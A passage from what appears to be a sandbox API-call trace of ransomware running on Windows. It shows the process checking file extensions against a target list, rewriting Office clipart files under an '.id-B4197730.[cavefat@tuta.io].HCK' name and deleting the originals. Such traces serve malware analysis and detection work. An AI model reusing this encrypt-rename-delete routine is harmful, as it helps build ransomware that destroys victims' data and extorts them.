(lpString=".dbf") returned 4 [0239.521] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0239.521] lstrlenW (lpString=".1cd") returned 4 [0239.521] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0239.521] lstrlenW (lpString=".jpg") returned 4 [0239.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.521] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0239.521] lstrlenW (lpString="J0157177.WMF") returned 12 [0239.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0239.522] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=21716) returned 1 [0239.522] CloseHandle (hObject=0x4c0) returned 1 [0239.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf")) returned 0x220 [0239.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0239.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0239.523] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.523] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0239.524] GetLastError () returned 0x0 [0239.524] ReadFile (in: hFile=0x4c0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x54d4, lpOverlapped=0x0) returned 1 [0239.526] WriteFile (in: hFile=0x4a0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x54e0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x54e0, lpOverlapped=0x0) returned 1 [0239.527] ReadFile (in: hFile=0x4c0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0239.527] WriteFile (in: hFile=0x4a0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0239.527] SetEndOfFile (hFile=0x4a0) returned 1 [0239.527] CloseHandle (hObject=0x4a0) returned 1 [0239.527] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.527] SetEndOfFile (hFile=0x4c0) returned 1 [0239.529] CloseHandle (hObject=0x4c0) returned 1 [0239.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.530] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf")) returned 1 [0239.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0239.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0239.531] lstrlenW (lpString=".doc") returned 4 [0239.531] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.531] lstrlenW (lpString=".docx") returned 5 [0239.531] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0239.531] lstrlenW (lpString=".pdf") returned 4 [0239.531] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.531] lstrlenW (lpString=".xls") returned 4 [0239.531] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.531] lstrlenW (lpString=".xlsx") returned 5 [0239.531] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0239.531] lstrlenW (lpString=".ppt") returned 4 [0239.531] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0239.531] lstrlenW (lpString=".zip") returned 4 [0239.531] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.531] lstrlenW (lpString=".rar") returned 4 [0239.531] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.531] lstrlenW (lpString=".bz2") returned 4 [0239.531] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.531] lstrlenW (lpString=".7z") returned 3 [0239.531] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0239.531] lstrlenW (lpString=".dbf") returned 4 [0239.531] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0239.531] lstrlenW (lpString=".1cd") returned 4 [0239.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0239.532] lstrlenW (lpString=".jpg") returned 4 [0239.532] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0239.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0239.532] lstrlenW (lpString=".doc") returned 4 [0239.532] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.532] lstrlenW (lpString=".docx") returned 5 [0239.532] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0239.532] lstrlenW (lpString=".pdf") returned 4 [0239.532] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.532] lstrlenW (lpString=".xls") returned 4 [0239.532] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.532] lstrlenW (lpString=".xlsx") returned 5 [0239.532] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0239.532] lstrlenW (lpString=".ppt") returned 4 [0239.532] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0239.532] lstrlenW (lpString=".zip") returned 4 [0239.532] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.532] lstrlenW (lpString=".rar") returned 4 [0239.532] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.532] lstrlenW (lpString=".bz2") returned 4 [0239.532] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.532] lstrlenW (lpString=".7z") returned 3 [0239.532] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0239.532] lstrlenW (lpString=".dbf") returned 4 [0239.532] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0239.532] lstrlenW (lpString=".1cd") returned 4 [0239.532] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68 [0239.532] lstrlenW (lpString=".jpg") returned 4 [0239.532] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.532] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0239.532] lstrlenW (lpString="J0157191.WMF") returned 12 [0239.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0239.534] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=17912) returned 1 [0239.534] CloseHandle (hObject=0x4c0) returned 1 [0239.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf")) returned 0x220 [0239.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0239.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0239.535] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.535] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0239.536] GetLastError () returned 0x0 [0239.536] ReadFile (in: hFile=0x4c0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x45f8, lpOverlapped=0x0) returned 1 [0239.537] WriteFile (in: hFile=0x4a0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x4600, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x4600, lpOverlapped=0x0) returned 1 [0239.538] ReadFile (in: hFile=0x4c0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0239.538] WriteFile (in: hFile=0x4a0, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0239.538] SetEndOfFile (hFile=0x4a0) returned 1 [0239.539] CloseHandle (hObject=0x4a0) returned 1 [0239.539] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.539] SetEndOfFile (hFile=0x4c0) returned 1 [0239.541] CloseHandle (hObject=0x4c0) returned 1 [0239.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf")) returned 1 [0239.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0239.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0239.682] lstrlenW (lpString=".doc") returned 4 [0239.682] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.682] lstrlenW (lpString=".docx") returned 5 [0239.682] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0239.682] lstrlenW (lpString=".pdf") returned 4 [0239.682] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.682] lstrlenW (lpString=".xls") returned 4 [0239.682] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.682] lstrlenW (lpString=".xlsx") returned 5 [0239.682] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0239.682] lstrlenW (lpString=".ppt") returned 4 [0239.682] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0239.682] lstrlenW (lpString=".zip") returned 4 [0239.682] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.682] lstrlenW (lpString=".rar") returned 4 [0239.682] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.682] lstrlenW (lpString=".bz2") returned 4 [0239.682] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.682] lstrlenW (lpString=".7z") returned 3 [0239.682] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0239.682] lstrlenW (lpString=".dbf") returned 4 [0239.682] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0239.682] lstrlenW (lpString=".1cd") returned 4 [0239.682] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0239.683] lstrlenW (lpString=".jpg") returned 4 [0239.683] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0239.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0239.683] lstrlenW (lpString=".doc") returned 4 [0239.683] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.683] lstrlenW (lpString=".docx") returned 5 [0239.683] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0239.683] lstrlenW (lpString=".pdf") returned 4 [0239.683] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.683] lstrlenW (lpString=".xls") returned 4 [0239.683] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.683] lstrlenW (lpString=".xlsx") returned 5 [0239.683] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0239.683] lstrlenW (lpString=".ppt") returned 4 [0239.683] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0239.683] lstrlenW (lpString=".zip") returned 4 [0239.683] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.683] lstrlenW (lpString=".rar") returned 4 [0239.683] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.683] lstrlenW (lpString=".bz2") returned 4 [0239.683] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.683] lstrlenW (lpString=".7z") returned 3 [0239.683] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0239.683] lstrlenW (lpString=".dbf") returned 4 [0239.683] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0239.683] lstrlenW (lpString=".1cd") returned 4 [0239.683] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0239.683] lstrlenW (lpString=".jpg") returned 4 [0239.683] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.683] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0239.683] lstrlenW (lpString="J0164153.JPG") returned 12 [0239.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0239.684] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=46484) returned 1 [0239.685] CloseHandle (hObject=0x4a0) returned 1 [0239.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg")) returned 0x220 [0239.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0239.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0239.685] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.685] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0239.686] GetLastError () returned 0x0 [0239.686] ReadFile (in: hFile=0x4a0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0xb594, lpOverlapped=0x0) returned 1 [0239.689] WriteFile (in: hFile=0x378, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xb5a0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xb5a0, lpOverlapped=0x0) returned 1 [0239.690] ReadFile (in: hFile=0x4a0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0239.690] WriteFile (in: hFile=0x378, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0239.690] SetEndOfFile (hFile=0x378) returned 1 [0239.690] CloseHandle (hObject=0x378) returned 1 [0239.690] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.690] SetEndOfFile (hFile=0x4a0) returned 1 [0239.693] CloseHandle (hObject=0x4a0) returned 1 [0239.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg")) returned 1 [0239.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0239.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0239.695] lstrlenW (lpString=".doc") returned 4 [0239.695] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0239.695] lstrlenW (lpString=".docx") returned 5 [0239.695] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0239.695] lstrlenW (lpString=".pdf") returned 4 [0239.695] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0239.695] lstrlenW (lpString=".xls") returned 4 [0239.695] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0239.695] lstrlenW (lpString=".xlsx") returned 5 [0239.695] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0239.695] lstrlenW (lpString=".ppt") returned 4 [0239.695] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0239.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0239.695] lstrlenW (lpString=".zip") returned 4 [0239.695] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0239.695] lstrlenW (lpString=".rar") returned 4 [0239.695] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0239.695] lstrlenW (lpString=".bz2") returned 4 [0239.695] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0239.695] lstrlenW (lpString=".7z") returned 3 [0239.695] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0239.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0239.695] lstrlenW (lpString=".dbf") returned 4 [0239.695] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0239.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0239.695] lstrlenW (lpString=".1cd") returned 4 [0239.695] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0239.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0239.695] lstrlenW (lpString=".jpg") returned 4 [0239.695] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0239.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0239.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0239.695] lstrlenW (lpString=".doc") returned 4 [0239.695] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0239.695] lstrlenW (lpString=".docx") returned 5 [0239.695] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0239.695] lstrlenW (lpString=".pdf") returned 4 [0239.695] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0239.695] lstrlenW (lpString=".xls") returned 4 [0239.695] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0239.695] lstrlenW (lpString=".xlsx") returned 5 [0239.695] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0239.695] lstrlenW (lpString=".ppt") returned 4 [0239.696] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0239.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0239.696] lstrlenW (lpString=".zip") returned 4 [0239.696] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0239.696] lstrlenW (lpString=".rar") returned 4 [0239.696] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0239.696] lstrlenW (lpString=".bz2") returned 4 [0239.696] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0239.696] lstrlenW (lpString=".7z") returned 3 [0239.696] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0239.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0239.696] lstrlenW (lpString=".dbf") returned 4 [0239.696] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0239.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0239.696] lstrlenW (lpString=".1cd") returned 4 [0239.696] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0239.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.JPG") returned 68 [0239.698] lstrlenW 